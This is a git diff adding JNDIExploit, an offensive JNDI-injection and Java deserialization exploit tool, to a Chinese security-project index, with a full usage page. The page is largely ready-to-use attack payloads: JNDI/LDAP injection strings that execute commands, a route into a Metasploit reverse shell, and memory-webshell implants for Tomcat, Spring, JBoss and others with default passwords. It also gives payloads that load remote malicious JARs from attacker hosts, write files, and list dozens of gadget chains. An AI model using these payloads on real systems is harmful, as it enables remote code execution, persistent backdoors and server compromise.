diff --git a/README.md b/README.md index b44d526..67feda2 100644 --- a/README.md +++ b/README.md @@ -17,6 +17,7 @@ | 时间 | 项目名称 | 项目动态 | |----|-----------|--------------------------| +|2023-06-26|[**JNDIExploit**](detail/JNDIExploit.md)|JNDIExploit加入星链计划| |2023-06-24|[**afrog**](detail/afrog.md)|更新 [v2.6.0](detail/afrog.md#最近更新) 版本| |2023-06-17|[**Viper**](detail/Viper.md)|更新 [v1.5.30](detail/Viper.md#最近更新) 版本| |2023-05-23|[**veinmind-tools**](detail/veinmind-tools.md)|更新 [v2.1.3](detail/veinmind-tools.md#最近更新) 版本| @@ -26,7 +27,6 @@ |2023-04-21|[**Antenna**](detail/Antenna.md)|更新 [v1.3.5](detail/Antenna.md#最近更新) 版本| |2023-04-12|[**ZoomEye-Python**](detail/ZoomEye-Python.md)|更新 [v2.2.0](detail/ZoomEye-Python.md#最近更新) 版本| |2023-04-10|[**camille**](detail/camille.md)|camille加入星链计划| -|2023-04-10|[**rakshasa**](detail/rakshasa.md)|rakshasa加入星链计划| **2.StarRank** @@ -62,6 +62,7 @@ | 时间 | 项目名称 | 项目简介 | |----|-----------|--------------------------| +|2023-06-26|[**JNDIExploit**](detail/JNDIExploit.md)|JNDI注入的多功能利用工具。| |2023-04-10|[**camille**](detail/camille.md)|现如今APP隐私合规十分重要,各监管部门不断开展APP专项治理工作及核查通报,不合规的APP通知整改或直接下架。camille可以hook住Android敏感接口,并识别是否为第三方SDK调用。根据隐私合规的场景,辅助检查是否符合隐私合规标准。| |2023-04-10|[**rakshasa**](detail/rakshasa.md)|rakshasa是一个使用Go语言编写的强大多级代理工具,专为实现多级代理,内网穿透而设计。它可以在节点群里面任意两个节点之间转发TCP请求和响应,同时支持socks5代理,http代理,并且可以引入外部http、socks5代理池,自动切换请求IP。| |2023-04-10|[**dperf**](detail/dperf.md)|dperf 是一个100Gbps的网络性能与压力测试软件。国内多个知名安全厂商用dperf测试其防火墙。知名开源四层负载均衡DPVS在用dperf做性能测试,发布性能测试报告。| @@ -71,7 +72,6 @@ |2022-09-14|[**murphysec**](detail/murphysec.md)|墨菲安全专注于软件供应链安全,murphysec 是墨菲安全的 CLI 工具,用于在命令行检测指定目录代码的依赖安全问题,也可以基于 CLI 工具实现在 CI 流程的检测。| |2022-09-14|[**appshark**](detail/appshark.md)|Appshark 是一个针对安卓的静态分析工具,它的设计目标是针对超大型App的分析,Appshark支持基于json的自定义扫描规则,发现自己关心的安全漏洞以及隐私合规问题,支持灵活配置,可以在准确率以及扫描时间空间之间寻求平衡,支持自定义扩展规则,根据自己的业务需要,进行定制分析| |2022-09-14|[**Antenna**](detail/Antenna.md)|Antenna是58同城安全团队打造的一款辅助安全从业人员辅助验证网络中多种漏洞是否存在以及可利用性的工具。其基于带外应用安全测试( OAST)通过任务的形式,将不同漏洞场景检测能力通过插件的形式进行集合,通过与目标进行Out-of-bind的数据通信方式进行辅助检测。| -|2022-08-29|[**Hades**](detail/Hades.md)|Hades 是一款支持 Windows/Linux 的内核级别数据采集主机入侵检测系统,其中每个插件均可独立分开运行。| **5.[分类:甲方工具](party_a.md)** diff --git a/allprojects.md b/allprojects.md index 3adf731..065e011 100644 --- a/allprojects.md +++ b/allprojects.md @@ -50,6 +50,7 @@ * [Redis-Rogue-Server](#redis-rogue-server) * [MysqlT](#mysqlt) * [Cola-Dnslog](#cola-dnslog) + * [JNDIExploit](#jndiexploit) * [信息分析/information_analysis](#信息分析information_analysis) * [HackBrowserData](#hackbrowserdata) @@ -521,6 +522,16 @@ Redis 4.x/Redis 5.x RCE利用脚本. 项目最初来源于 + +JNDI注入的多功能利用工具。 + ## 信息分析/information_analysis diff --git a/detail/JNDIExploit.md b/detail/JNDIExploit.md new file mode 100644 index 0000000..1b0b26c --- /dev/null +++ b/detail/JNDIExploit.md @@ -0,0 +1,534 @@ +## JNDIExploit + +![Language](https://img.shields.io/badge/Language-Java-blue) +![Author](https://img.shields.io/badge/Author-qi4L-orange) +![GitHub stars](https://img.shields.io/github/stars/qi4L/JNDIExploit.svg?style=flat&logo=github) +![Version](https://img.shields.io/badge/Version-V2.4.6-red) +![Time](https://img.shields.io/badge/Join-20230626-green) + + +# 😈使用说明 + +```所有使用示例,用的是Yakit的FUZZ语法``` + +使用 ```java -jar JNDIExploit-[version].jar -h``` 查看参数说明,其中 ```--ip``` 参数为必选参数 + +``` +Usage: java -jar JNDIExploit-[version].jar [options] + Options: + * -i, --ip Local ip address (default: 0.0.0.0) + -rP, --rmiPort rmi bind port (default: 1099) + -lP, --ldapPort Ldap bind port (default: 1389) + -hP, --httpPort Http bind port (default: 3456) + -g, --gadgets Show gadgets (default: false) + -c, --command RMI this command + -h, --help Show this help +``` + +* 目前支持的所有 ```PayloadType``` 为 + * ```Bypass```: 用于rmi本地工厂类加载,通过添加自定义```header``` ```nu1r: whoami``` 的方式传递想要执行的命令 + * ```TomcatEcho```: 用于在中间件为 ```Tomcat``` 时命令执行结果的回显,通过添加自定义```header``` ```cmd: whoami``` + 的方式传递想要执行的命令 + * ```SpringEcho```: 用于在框架为 ```SpringMVC/SpringBoot``` + 时命令执行结果的回显,通过添加自定义```header``` ```nu1r: whoami``` 的方式传递想要执行的命令 + * ```JbossEcho```: Jboss 命令执行回显, 通过添加自定义```header``` ```nu1r: whoami``` 的方式传递想要执行的命令 + * ```AllEcho```: 自动选择命令执行回显, 通过添加自定义```header``` ```nu1r: whoami``` 的方式传递想要执行的命令 + * ```nu1r```:用于执行命令,如果命令有特殊字符,支持对命令进行 Base64编码后传输 + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/TomcatBypass/nu1r/Base64/{{base64 + (ping xxx.dnstunnel.run) + }}}) +}} +``` + +- 支持tomcatBypass路由直接上线msf: + +``` + 使用msf的java/meterpreter/reverse_tcp开启监听 + ldap://127.0.0.1:1389/TomcatBypass/Meterpreter/msf/[msfip]/[msfport] +``` + +--- + +# 🦄内存马 + +两种添加方式: + +- 支持引用远程类加载方式打入(Basic路由)。 +- 支持本地工厂类加载方式打入(TomcatBypass路由)。 + +使用说明: +不指定类型就默认为冰蝎马。 + +- t 选择内存马的类型 + - 不指定类型就默认为冰蝎马 + - bx: 冰蝎内存马,```key: nu1ryyds```, ```Referer:https://nu1r.cn/``` + - gz: 哥斯拉内存马,```pass: nu1r```, ```Referer:https://nu1r.cn/``` + - gzraw: 哥斯拉 raw 类型的内存马, ```pass: nu1r```, ```Referer:https://nu1r.cn/``` + - cmd: cmd命令回显内存马。 +- a:是否继承恶意类 AbstractTranslet +- o:使用反射绕过 +- w:Windows下使用Agent写入 +- l:Linux下使用Agent写入 +- u:内存马绑定的路径,default [/version.txt] +- pw:内存马的密码,default [p@ssw0rd] +- r:内存马 Referer check,default [https://nu1r.cn/] +- h:通过将文件写入$JAVA_HOME来隐藏内存shell,目前只支持 SpringControllerMS +- ht:隐藏内存外壳,输入1:write /jre/lib/charsets.jar 2:write /jre/classes/ + +示例 + +```shell +{{url + (${jndi:ldap://111.229.10.212:1389/Basic/tomcatfilterjmx/shell/-u path223 -pw 123456 -r tth.cn}) +}} +``` + +内存马说明: + +* ```SpringInterceptor```: 向系统内植入 Spring Interceptor 类型的内存马 +* ```SpringController```: 向系统内植入 Spring Controller 类型的内存马 +* ```JettyFilter```: 利用 JMX MBeans 向系统内植入 Jetty Filter 型内存马 +* ```JettyServlet```: 利用 JMX MBeans 向系统内植入 Jetty Servlet 型内存马 +* ```JBossFilter```: 通过全局上下文向系统内植入 JBoss/Wildfly Filter 型内存马 +* ```JBossServlet```: 通过全局上下文向系统内植入 JBoss/Wildfly Servlet 型内存马 +* ```resinFilterTh```: 通过线程类加载器获取指定上下文系统内植入 Resin Filter 型内存马 +* ```resinServletTh```: 通过线程类加载器获取指定上下文系统内植入 Resin Servlet 型内存马 +* ```WebsphereMemshell```: 用于植入```Websphere内存shell```, 支持```Behinder shell``` 与 ```Basic cmd shell``` +* ```tomcatFilterJmx```: 利用 JMX MBeans 向系统内植入 Tomcat Filter 型内存马 +* ```tomcatFilterTh```: 通过线程类加载器获取指定上下文向系统内植入 Tomcat Filter 型内存马 +* ```TomcatListenerJmx```: 利用 JMX MBeans 向系统内植入 Tomcat Listener 型内存马 +* ```TomcatListenerTh```: 通过线程类加载器获取指定上下文向系统内植入 Tomcat Listener 型内存马 +* ```TomcatServletJmx```: 利用 JMX MBeans 向系统内植入 Tomcat Servlet 型内存马 +* ```TomcatServletTh```: 通过线程类加载器获取指定上下文向系统内植入 Tomcat Servlet 型内存马 +* ```WSFilter```: `CMD` 命令回显 WebSocket 内存马,`cmd命令回显` +* ```TomcatExecutor``` : Executor 内存马,`cmd命令回显` +* ```TomcatUpgrade```: TomcatUpgrade 内存马,`cmd命令回显` +* ```Struts2ActionMS```: Action 类型内存马 + +--- + +# 👻 BeanShell1 与 Clojure 利用链的拓展 + +对于 `BeanShell1` 及 `Clojure` 这两个基于脚本语言解析的漏利用方式。 + +本项目为这两条利用链拓展了除了 Runtime 执行命令意外的多种利用方式,具体如下: + +`Base64/`后的内容需要base64编码 + +TS :Thread Sleep - 通过 Thread.sleep() 的方式来检查是否存在反序列化漏洞,使用命令:TS-10 + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/Deserialization/Clojure/nu1r/Base64/{{base64 + (TS-10) + }}}) +}} +``` + +RC :Remote Call - 通过 URLClassLoader.loadClass() +来调用远程恶意类并初始化,使用命令:RC-http://xxxx.com/evil.jar#EvilClass + +换成CS或者MSF生成的JAR包,即可完成一键上线。 + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/Deserialization/Clojure/nu1r/Base64/{{base64 + (RC-http://xxxx.com/evil.jar#EvilClass) + }}}) +}} +``` + +WF :Write File - 通过 FileOutputStream.write() 来写入文件,使用命令:WF-/tmp/shell#123 + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/Deserialization/Clojure/nu1r/Base64/{{base64 + (WF-/tmp/shell#123) + }}}) +}} +``` + +其他:普通命令执行 - 通过 ProcessBuilder().start() 执行系统命令,使用命令 whoami + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/Deserialization/Clojure/nu1r/Base64/{{base64 + (whoami) + }}}) +}} +``` + +--- + +# 🐗C3P04的使用 + +* 远程加载 Jar 包 + * C3P04 'remoteJar-http://1.1.1.1.com/1.jar' +* 向服务器写入 Jar 包并加载(不出网) + * C3P04 'writeJar-/tmp/evil.jar:./yaml.jar' + * C3P04 'localJar-./yaml.jar' +* C3P0 二次反序列化 + * C3P04 'c3p0Double-/usr/CC6.ser' + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/Deserialization/C3P04/nu1r/Base64/{{base64 + ([base64_encoded_cmd]) + }}}) +}} +``` + +--- + +# 🐅SignedObject 二次反序列化 Gadget + +用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等) + +利用链需要调用 SignedObject 的 getObject 方法,因此需要可以调用任意方法、或调用指定类 getter 方法的触发点; + +大概包含如下几种可用的常见调用链: + +1. InvokerTransformer 调用任意方法(依赖 CC) +2. BeanComparator 调用 getter 方法(依赖 CB) +3. BasicPropertyAccessor$BasicGetter 调用 getter 方法(依赖 Hibernate) +4. ToStringBean 调用全部 getter 方法(依赖 Rome) +5. MethodInvokeTypeProvider 反射调用任意方法(依赖 spring-core) +6. MemberBox 反射调用任意方法(依赖 rhino) + +* `cc`,`cc4`,`cb`,`hibernate`,`rome`,`rhino`,`spring` + +* 利用方式: +* SignedObjectPayload -> 'CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000' 最后两个参数是反序列化的类型 + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/Deserialization/SignedObject/nu1r/Base64/{{base64 + (CC:commonscollections6:{{base64 + (open -a Calculator.app) + }}1::10000) + }}}) +}} +``` + +效果图: + +![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdown微信截图_20220820135253.png) + +--- + +# 🕷️Deserialization路由 + +| Gadget | 依赖 | ps | +|:--------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------| +| AspectJWeaver | aspectjweaver:1.9.2
commons-collections:3.2.2 | | +| AspectJWeaver2 | org.aspectj:aspectjweaver:1.9.2
commons-collections:commons-collections:3.2.2 | | +| BeanShell1 | org.beanshell:bsh:2.0b5 | | +| C3P0 | com.mchange:c3p0:0.9.5.2
mchange-commons-java:0.2.11 | | +| C3P02 | com.mchange:c3p0:0.9.5.2
com.mchange:mchange-commons-java:0.2.11
org.apache:tomcat:8.5.35 | | +| C3P03 | com.mchange:c3p0:0.9.5.2
com.mchange:mchange-commons-java:0.2.11
org.apache:tomcat:8.5.35
org.codehaus.groovy:groovy:2.3.9 | | +| C3P04 | com.mchange:c3p0:0.9.5.2
com.mchange:mchange-commons-java:0.2.11
org.apache:tomcat:8.5.35
org.yaml:snakeyaml:1.30 | | +| C3P092 | com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8
com.mchange:mchange-commons-java:0.2.11 | | +| Click1 | org.apache.click:click-nodeps:2.3.0
javax.servlet:javax.servlet-api:3.1.0 | | +| Clojure | org.clojure:clojure:1.8.0 | | +| CommonsBeanutils1 | commons-beanutils:commons-beanutils:1.9.2
commons-collections:commons-collections:3.1
commons-logging:commons-logging:1.2 | | +| CommonsBeanutils1Jdbc | | 高版本Bypass | +| CommonsBeanutils2 | commons-beanutils:commons-beanutils:1.9.2 | 可打shiro | +| CommonsBeanutils2Jdbc | | 高版本Bypass | +| CommonsBeanutils2NOCC | commons-beanutils:commons-beanutils:1.8.3
commons-logging:commons-logging:1.2 | | +| CommonsBeanutils1183NOCC | commons-beanutils:commons-beanutils:1.8.3 | | +| CommonsBeanutilsAttrCompare | commons-beanutils:commons-beanutils:1.9.2 | | +| CommonsBeanutilsAttrCompare183 | commons-beanutils:commons-beanutils:1.8.3 | | +| CommonsBeanutilsObjectToStringComparator | "commons-beanutils:commons-beanutils:1.9.2 org.apache.commons:commons-lang3:3.10" | | +| CommonsBeanutilsObjectToStringComparator183 | "commons-beanutils:commons-beanutils:1.8.3" | | +| CommonsBeanutilsPropertySource | "commons-beanutils:commons-beanutils:1.9.2 org.apache.logging.log4j:log4j-core:2.17.1" | | +| CommonsBeanutilsPropertySource183 | "commons-beanutils:commons-beanutils:1.9.2 org.apache.logging.log4j:log4j-core:2.17.1" | | +| CommonsCollections1 | commons-collections:commons-collections:3.1 | | +| CommonsCollections2 | org.apache.commons:commons-collections4:4.0 | | +| CommonsCollections3 | commons-collections:commons-collections:3.1 | | +| CommonsCollections4 | org.apache.commons:commons-collections4:4.0 | | +| CommonsCollections5 | commons-collections:commons-collections:3.1 | | +| CommonsCollections6 | commons-collections:commons-collections:3.1 | | +| CommonsCollections7 | commons-collections:commons-collections:3.1 | | +| CommonsCollections8 | org.apache.commons:commons-collections4:4.0 | | +| CommonsCollections9 | commons-collections:commons-collections:3.2.1 | | +| CommonsCollections10 | commons-collections:commons-collections:3.2.1 | | +| CommonsCollections11 | commons-collections:commons-collections:3.2.1 | | +| CommonsCollections12 | commons-collections:commons-collections:3.2.1 | | +| CommonsCollectionsK1 | commons-collections:commons-collections:3.2.1 | | +| CommonsCollectionsK2 | org.apache.commons:commons-collections4:4.0 | | +| CommonsCollectionsK3 | commons-collections:commons-collections:3.1 | CC6简化的写法 | +| CommonsCollectionsK4 | org.apache.commons:commons-collections4:4.0 | CC6简化的写法的4.0版 | +| CommonsCollectionsK5 | org.apache.commons:commons-collections4:4.0 | CC7的4.0版 | +| CommonsCollectionsK6 | org.apache.commons:commons-collections4:4.0 | CC11的4.0版 | +| Fastjson1 | Fastjosn 1.2.48 | | +| Fastjson2 | Fastjosn 2+ | | +| Groovy1 | org.codehaus.groovy:groovy:2.3.9 | | +| Hibernate1 | org.hibernate:hibernate-core:5.0.7.Final
org.hibernate:hibernate-core:4.3.11.Final | | +| Hibernate2 | org.hibernate:hibernate-core:5.0.7.Final
org.hibernate:hibernate-core:4.3.11.Final | | +| Jackson | | | +| JavassistWeld1 | javassist:javassist:3.12.1.GA
org.jboss.weld:weld-core:1.1.33.Final
javax.interceptor:javax.interceptor-api:3.1
javax.enterprise:cdi-api:1.0-SP1
org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final
org.slf4j:slf4j-api:1.7.21 | | +| JBossInterceptors1 | javassist:javassist:3.12.1.GA
org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final
javax.enterprise:cdi-api:1.0-SP1
javax.interceptor:javax.interceptor-api:3.1
org.slf4j:slf4j-api:1.7.21
org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final | | +| Jdk7u21 | - | | +| Jdk7u21variant | - | | +| JRE8u20 | | | +| JRE8u20_2 | | | +| JSON1 | net.sf.json-lib:json-lib:jar:jdk15:2.4
org.springframework:spring-aop:4.1.4.RELEASE | | +| Jython1 | org.python:jython-standalone:2.5.2 | | +| MozillaRhino1 | rhino:js:1.7R2 | | +| MozillaRhino2 | rhino:js:1.7R2 | | +| Myfaces1 | - | | +| Myfaces2 | - | | +| RenderedImage | javax.media:jai-codec-1.1.3 | | +| ROME | rome:rome:1.0 | | +| ROME2 | rome:rome:1.0
JDK 8+ | | +| Spring1 | org.springframework:spring-core:4.1.4.RELEASE
org.springframework:spring-beans:4.1.4.RELEASE | | +| Spring2 | org.springframework:spring-core:4.1.4.RELEASE
org.springframework:spring-aop:4.1.4.RELEASE
aopalliance:aopalliance:1.0
commons-logging:commons-logging:1.2 | | +| Spring3 | org.springframework:spring-tx:5.2.3.RELEASE
org.springframework:spring-context:5.2.3.RELEASE
javax.transaction:javax.transaction-api:1.2 | | +| Vaadin1 | com.vaadin:vaadin-server:7.7.14
com.vaadin:vaadin-shared:7.7.14 | | +| Wicket1 | org.apache.wicket:wicket-util:6.23.0
org.slf4j:slf4j-api:1.6.4 | | + +- a:恶意类是否继承 AbstractTranslet +- o:使用反射绕过 + ~~- j:使用 ObjectInputStream/ObjectOutputStream 来构造序列化流~~(这个构造的流有BUG,还在思考修复) +- 需要参数时,在命令后面添加,#参数 +* 使用示例: + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/Deserialization/[GadgetType]/nu1r/Base64/{{base64 + (base64_encoded_cmd#-a -o) + }}}) +}} + ``` + +--- +对于Gadget: + +- CommonsCollections1 +- CommonsCollections5 +- CommonsCollections6 +- CommonsCollectionsK3 +- CommonsCollectionsK4 +- CommonsCollections7 +- commonscollectionsK5 +- CommonsCollections9 + +* 使用 `Transformer[]` 数组实现 + +为其拓展了除了 Runtime 执行命令意外的多种利用方式,具体如下: + +TS :Thread Sleep - 通过 Thread.sleep() 的方式来检查是否存在反序列化漏洞,使用命令:TS-10 + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections1/nu1r/Base64/{{base64 + (TS-10) + }}}) +}} +``` + +RC :Remote Call - 通过 URLClassLoader.loadClass() +来调用远程恶意类并初始化,使用命令:RC-http://xxxx.com/evil.jar#EvilClass + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections1/nu1r/Base64/{{base64 + (RC-http://xxxx.com/evil.jar#EvilClass) + }}}) +}} +``` + +WF :Write File - 通过 FileOutputStream.write() 来写入文件,使用命令:WF-/tmp/shell#d2hvYW1p + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections1/nu1r/Base64/{{base64 + (WF-/tmp/shell#d2hvYW1p) + }}}) +}} +``` + +PB :ProcessBuilder 通过 ProcessBuilder.start() 来执行系统命令,使用命令 ```PB-lin-d2hvYW1p``` / ```PB-win-d2hvYW1p``` +分别在不同操作系统执行命令 + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections1/nu1r/Base64/{{base64 + (PB-lin-b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==) + }}}) +}} +``` + +SE :ScriptEngine - 通过 ScriptEngineManager.getEngineByName('js').eval() 来解析 JS 代码调用 Runtime 执行命令,使用命令 +SE-d2hvYW1 + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections1/nu1r/Base64/{{base64 + (SE-d2hvYW1) + }}}) +}} +``` + +DL :DNS LOG - 通过 InetAddress.getAllByName() 来触发 DNS 解析,使用命令 DL-xxxdnslog.cn + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections1/nu1r/Base64/{{base64 + (DL-xxxdnslog.cn) + }}}) +}} +``` + +HL :HTTP LOG - 通过 URL.getContent() 来触发 HTTP LOG,使用命令 HL-http://xxx.com + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections1/nu1r/Base64/{{base64 + (HL-http://xxx.com) + }}}) +}} +``` + +BC :BCEL Classloader - 通过 ..bcel...ClassLoader.loadClass().newInstance() 来加载 BCEL 类字节码,使用命令 BC-$BCEL$xxx + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections1/nu1r/Base64/{{base64 + (BC-$BCEL$xxx) + }}}) +}} +``` + +其他:普通命令执行 - 通过 Runtime.getRuntime().exec() 执行系统命令,使用命令 whoami + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections1/nu1r/Base64/{{base64 + (whoami) + }}}) +}} +``` + +# 🐣其他利用链拓展 + +对于除了以上的利用链,使用的是 `TemplatesImpl` 类来实现。 + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections3/nu1r/Base64/{{base64 + (whoami) + }}}) +}} +``` + +## 🐮任意自定义代码 + +对于使用了 `TemplatesImpl` 类来实现的链子来说,可以使用此方法 + +如果你不想使用本项目中提供的恶意逻辑,也不想执行命令,可以通过自定义代码的形式,自定义代码将会在目标服务器通过 `ClassLoader` +进行加载并实例化。命令使用 `LF#` 开头,后面跟指定自定义类字节码文件的绝对路径。 + +示例: + +**class 类文件绝对路径** + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections3/nu1r/Base64/{{base64 + (LF#/tmp/evil.class-org) + }}}) +}} +``` + +# 🦜利用链探测 + +参考了 kezibei 师傅的 URLDNS 项目,实际情况可能有如下几种情况导致问题: + ++ 反序列时遇到黑名单,可能导致后面的类的 dnslog 出不来; ++ 反序列化流程中由于种种情况报错可能导致出不来。 + +因此这里还是提供了 all/common/指定类 三种探测方式: + ++ all:探测全部的类; ++ common:探测不常在黑名单中的 CommonsBeanutils2/C3P0/AspectJWeaver/bsh/winlinux; ++ 指定类:使用对应链中的关键字 CommonsCollections24:xxxx.dns.log 。 + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/Deserialization/URLDNS/nu1r/Base64/{{base64 + (all:xxxxxx.dns.log) + }}}) +}} +``` + +效果图: + +![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdownQQ截图20221107151444.png) + +| DNSLOG 关键字 | 对应链 | 关键类 | 备注 | +| ------------------------------------------- | ----------------------- | ------------------------------------------------------------ | ------------------------------------------------------------ | +| cc31or321
cc322 | CommonsCollections13567 | org.apache.commons.collections.functors.ChainedTransformer
org.apache.commons.collections.ExtendedProperties$1 | CommonsCollections1/3/5/6/7
需要<=3.2.1版本 | +| cc40
cc41 | CommonsCollections24 | org.apache.commons.collections4.functors.ChainedTransformer
org.apache.commons.collections4.FluentIterable | CommonsCollections2/4链
需要4-4.0版本 | +| cb17
cb18x
cb19x | CommonsBeanutils2 | org.apache.commons.beanutils.MappedPropertyDescriptor\$1
org.apache.commons.beanutils.DynaBeanMapDecorator\$MapEntry
org.apache.commons.beanutils.BeanIntrospectionData | 1.7x-1.8x为-3490850999041592962
1.9x为-2044202215314119608 | +| c3p092x
c3p095x | C3P0 | com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
com.mchange.v2.c3p0.test.AlwaysFailDataSource | 0.9.2pre2-0.9.5pre8为7387108436934414104
0.9.5pre9-0.9.5.5为7387108436934414104 | +| ajw | AspectJWeaver | org.aspectj.weaver.tools.cache.SimpleCache | AspectJWeaver,需要cc31 | +| bsh20b4
bsh20b5
bsh20b6 | bsh | bsh.CollectionManager\$1
bsh.engine.BshScriptEngine
bsh.collection.CollectionIterator\$1 | 2.0b4为4949939576606791809
2.0b5为4041428789013517368
2.0.b6无法反序列化 | +| groovy1702311
groovy24x
groovy244 | Groovy | org.codehaus.groovy.reflection.ClassInfo\$ClassInfoSet
groovy.lang.Tuple2
org.codehaus.groovy.runtime.dgm\$1170 | 2.4.x为-8137949907733646644
2.3.x为1228988487386910280 | +| becl | Becl | com.sun.org.apache.bcel.internal.util.ClassLoader | JDK<8u251 | +| Jdk7u21 | Jdk7u21 | com.sun.corba.se.impl.orbutil.ORBClassLoader | JDK<=7u21 | +| JRE8u20 | JRE8u20 | javax.swing.plaf.metal.MetalFileChooserUI\$DirectoryComboBoxModel\$1 | 7u25<=JDK<=8u20
这个检测不完美,8u25版本以及JDK<=7u21会误报
可综合Jdk7u21来看 | +| linux
windows | winlinux | sun.awt.X11.AwtGraphicsConfigData
sun.awt.windows.WButtonPeer | windows/linux版本判断 | +| | all | | 全部检测 | + +# 🐳自定义 + ++ 自定义链子 + +在 `com.nu1r.jndi.gadgets` 下新建JAVA文件,并实现接口 ObjectPayload 后在 getObject 方法中编写链子逻辑即可。 +使用 + +``` +{{url + (${jndi:ldap://0.0.0.0:1389/Deserialization/自定义链子的类名/nu1r/Base64/{{base64 + (whoami) + }}}) +}} +``` + ++ 自定义内存马 + +在 `com.nu1r.jndi.template` 下新建 JAVA 文件并将主要实现方法写在静态代码块中。 + +额外方法与 shell 通过 javassist 引入 `com.nu1r.jndi.template.shell.MemShellPayloads`(最小化有效负载的大小) + +使用与上面内存马使用一致 + +--- + +# 👮免责声明 + +该工具仅用于安全自查检测 + +由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。 + +本人拥有对此工具的修改和解释权。未经网络安全部门及相关部门允许,不得善自使用本工具进行任何攻击活动,不得以任何方式将其用于商业目的。 + +# 🦚TODO + +GroovyBypass路由与WebsphereBypass路由的具体实现功能还在思考中 + +# 🐲建议 + +本项目用JDK1.8.0_332开发,不推荐用高于11的JDK,可能会出现错误 + + +## 项目相关 + + +## 最近更新 + + diff --git a/penetration_test.md b/penetration_test.md index 4956bb2..05a3aa0 100644 --- a/penetration_test.md +++ b/penetration_test.md @@ -16,6 +16,7 @@ 14. [Redis-Rogue-Server](#redis-rogue-server) 15. [MysqlT](#mysqlt) 16. [Cola-Dnslog](#cola-dnslog) +17. [JNDIExploit](#jndiexploit) ---------------------------------------- @@ -179,3 +180,13 @@ Redis 4.x/Redis 5.x RCE利用脚本. 项目最初来源于 + +JNDI注入的多功能利用工具。 +